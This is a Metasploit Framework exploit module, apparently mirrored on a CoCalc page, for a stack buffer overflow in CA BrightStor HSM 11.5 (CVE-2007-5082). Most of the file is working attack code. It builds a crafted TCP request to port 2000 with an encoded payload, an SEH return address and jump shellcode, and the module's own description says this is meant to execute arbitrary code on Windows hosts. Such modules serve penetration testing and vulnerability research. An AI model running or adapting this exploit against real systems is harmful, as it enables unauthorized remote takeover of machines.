Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/brightstor/hsmserver.rb
19715 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::Remote::Seh
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'CA BrightStor HSM Buffer Overflow',
17
'Description' => %q{
18
This module exploits one of the multiple stack buffer overflows in Computer Associates BrightStor HSM.
19
By sending a specially crafted request, an attacker could overflow the buffer and execute arbitrary code.
20
},
21
'Author' => [ 'toto' ],
22
'License' => MSF_LICENSE,
23
'References' => [
24
[ 'CVE', '2007-5082' ],
25
[ 'OSVDB', '41363' ],
26
[ 'BID', '25823' ],
27
],
28
'Privileged' => true,
29
'DefaultOptions' => {
30
'EXITFUNC' => 'process',
31
},
32
'Payload' => {
33
'Space' => 1026,
34
'BadChars' => "\x00\x0a\x0d;",
35
'StackAdjustment' => -3500,
36
},
37
'Platform' => 'win',
38
'Targets' => [
39
# NX can be bypassed by brute forcing ntdll addresses as the process is restarted
40
# pop/pop/ret in fpparser.dll (old from 2004)
41
[ 'BrightStor HSM 11.5 Windows All', { 'Ret' => 0x12014c78 } ],
42
],
43
'DisclosureDate' => '2007-09-27',
44
'DefaultTarget' => 0,
45
'Notes' => {
46
'Reliability' => UNKNOWN_RELIABILITY,
47
'Stability' => UNKNOWN_STABILITY,
48
'SideEffects' => UNKNOWN_SIDE_EFFECTS
49
}
50
)
51
)
52
53
register_options(
54
[
55
Opt::RPORT(2000)
56
]
57
)
58
end
59
60
def exploit
61
connect
62
63
data =
64
[42, 7, 0, 0].pack('VVVV') +
65
payload.encoded +
66
"\xeb\x06" +
67
Rex::Text.rand_text_alphanumeric(2) +
68
[ target.ret ].pack('V') +
69
"\xe9\xf1\xfb\xff\xff" +
70
Rex::Text.rand_text_alphanumeric(0x100)
71
72
sploit = [data.length + 4].pack('V') + data
73
74
print_status("Trying target #{target.name}...")
75
76
sock.put(sploit)
77
handler
78
disconnect
79
end
80
end
81
82